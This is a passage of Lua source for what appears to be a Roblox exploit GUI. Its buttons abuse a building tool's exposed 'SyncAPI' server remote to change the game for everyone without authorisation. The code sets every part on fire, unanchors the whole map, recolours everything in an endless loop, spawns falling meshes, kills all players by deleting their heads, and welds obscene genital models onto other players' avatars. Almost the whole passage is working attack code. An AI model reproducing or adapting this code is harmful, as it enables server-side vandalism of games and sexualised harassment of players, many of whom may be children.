_(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function FireParts() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) AddFire(v) end) end end FireParts() end) end; task.spawn(C_d9); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_db() local script = G2L["db"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = workspace.Part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end hrpcf = player.Character.HumanoidRootPart.CFrame while wait(0.5) do x = hrpcf.x z = hrpcf.z randint = math.random(-600,600) randint2 = math.random(-600,600) xloc = randint + x zloc = randint2 + z cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc))) for i,v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v,"b_1337") SetAnchor(false,v) AddMesh(v) Resize(v, Vector3.new(100,100,100),v.CFrame) MeshResize(v,Vector3.new(3,3,3)) SetMesh(v,"614605299") SetTexture(v, "614605300") SetCollision(v,false) else end end end) end end) end; task.spawn(C_db); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_dd() local script = G2L["dd"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent,types) local args = { [1] = "CreatePart", [2] = types, [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Material(part,mate) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end hrpx = math.floor(char.HumanoidRootPart.CFrame.x) hrpz = math.floor(char.HumanoidRootPart.CFrame.z) hrpy = math.floor(char.HumanoidRootPart.CFrame.y) function SpawnBasePlate() CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn") for i,v in game.Workspace:GetChildren() do if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then spawn(function() Resize(v,Vector3.new(1000,1,1000),CFrame.new(hrpx,hrpy-20,hrpz)) Material(v,Enum.Material.Plastic) Color(v,BrickColor.new("Silver")) while wait(1) do pcall(function()SetLocked(v,true)end) end end) end end end SpawnBasePlate() end) end; task.spawn(C_dd); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_df() local script = G2L["df"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) end; task.spawn(C_df); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_e1() local script = G2L["e1"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = workspace.Part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end hrpcf = player.Character.HumanoidRootPart.CFrame while wait(0.5) do x = hrpcf.x z = hrpcf.z randint = math.random(-600,600) randint2 = math.random(-600,600) xloc = randint + x zloc = randint2 + z cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc))) for i,v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v,"b_1337") SetAnchor(false,v) AddMesh(v) Resize(v, Vector3.new(100,100,100),v.CFrame) MeshResize(v,Vector3.new(20,20,20)) SetMesh(v,"1618237875") SetTexture(v, "1618237897") SetCollision(v,false) else end end end) end end) end; task.spawn(C_e1); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_e3() local script = G2L["e3"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = workspace.Part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function AddFire(part) local args = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } _(args) end function Fire(player) for i,v in player.Character:GetDescendants() do if v:IsA("BasePart") then AddFire(v) end end DestroyPart(player.Character.Head) end for i,v in game.Players:GetPlayers() do spawn(function() pcall(function() Fire(v) end) end) end end) end; task.spawn(C_e3); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_e5() local script = G2L["e5"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function KillAll() for i,v in game.Players:GetPlayers() do spawn(function() SetLocked(v.Character.Head,false) DestroyPart(v.Character.Head) end) end end KillAll() end) end; task.spawn(C_e5); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_e7() local script = G2L["e7"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Headless(player) local chara = player.Character spawn(function() SetLocked(chara.Head,false) MeshResize(chara.Head,Vector3.new(0,0,0)) end) end for i,players in game.Players:GetPlayers() do Headless(players) end end) end; task.spawn(C_e7); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_e9() local script = G2L["e9"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function randomise() for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))) end) end end end while wait() do spawn(function() randomise() end) end end) end; task.spawn(C_e9); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_eb() local script = G2L["eb"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Penis(player) char = player.Character for i,v in char:GetChildren() do pcall(function() SetLocked(v,false) end) end if player.Character:FindFirstChild("Penis") then return else SetAnchor(true,player.Character.HumanoidRootPart) spawn(function() CreatePart(player.Character:WaitForChild("Right Leg").CFrame * CFrame.new(-0.8,1,-0.6),player.Character) SetName(player.Character.Part,"Balls1") CreatePart(player.Character:WaitForChild("Left Leg").CFrame * CFrame.new(0.8,1,-0.6),player.Character) SetName(player.Character.Part,"Balls2") end) wait(0.2) repeat wait() until char:FindFirstChild("Balls2") print("done") spawn(function() CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-1.3),player.Character) SetName(player.Character.Part,"Penis") CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-2.5),player.Character) SetName(player.Character.Part,"Head1") end) repeat wait() until char:FindFirstChild("Head1") spawn(function() AddMesh(char.Balls1) AddMesh(char.Balls2) AddMesh(char.Head1) AddMesh(char.Penis) end) repeat wait() until char.Penis:FindFirstChild("Mesh") spawn(function() SetMesh(char.Penis,"4743972117") SetMesh(char.Head1,"4743972117") MeshResize(char.Penis,Vector3.new(0.5,0.5,3)) MeshResize(char.Head1,Vector3.new(0.5,0.5,1)) end) spawn(function() Weld(char.Penis,char.HumanoidRootPart,char.Penis) SetMesh(char.Balls1,"5697933202") SetMesh(char.Balls2,"5697933202") MeshResize(char.Balls1,Vector3.new(0.2,0.2,0.2)) MeshResize(char.Balls2,Vector3.new(0.2,0.2,0.2)) end) wait(0.2) pcall(function() Color(char.Balls1,char:WaitForChild("Torso").Color) Color(char.Balls2,char:WaitForChild("Torso").Color) Color(char.Penis,char:WaitForChild("Torso").Color) Color(char.Head1, Color3.fromRGB(255,100,100)) end) wait(0.2) spawn(function() SetCollision(player.Character.Balls1,false) SetCollision(player.Character.Balls2,false) SetCollision(player.Character.Penis,false) SetCollision(player.Character.Head1,false) end) wait(0.2) spawn(function() Weld(char.Balls1,char.HumanoidRootPart,char.Balls1) Weld(char.Balls2,char.Balls1,char.Balls2) Weld(char.Head1,char.Penis,char.Head1) end) wait(0.2) spawn(function() SetAnchor(false,char.Balls1) SetAnchor(false,char.Balls2) SetAnchor(false,char.Penis) SetAnchor(false,char.Head1) SetAnchor(false,char.HumanoidRootPart) end) repeat wait() SetAnchor(false,char.HumanoidRootPart) SetAnchor(false,char.Balls1) SetAnchor(false,char.Balls2) SetAnchor(false,char.Penis) SetAnchor(false,char.Head1) until char.Head1.Anchored == false end end for i,v in game.Players:GetPlayers() do --spawn(function() --pcall(function() Penis(player) --end) --end) end end) end; task.spawn(C_eb); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_ed() local script = G2L["ed"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", 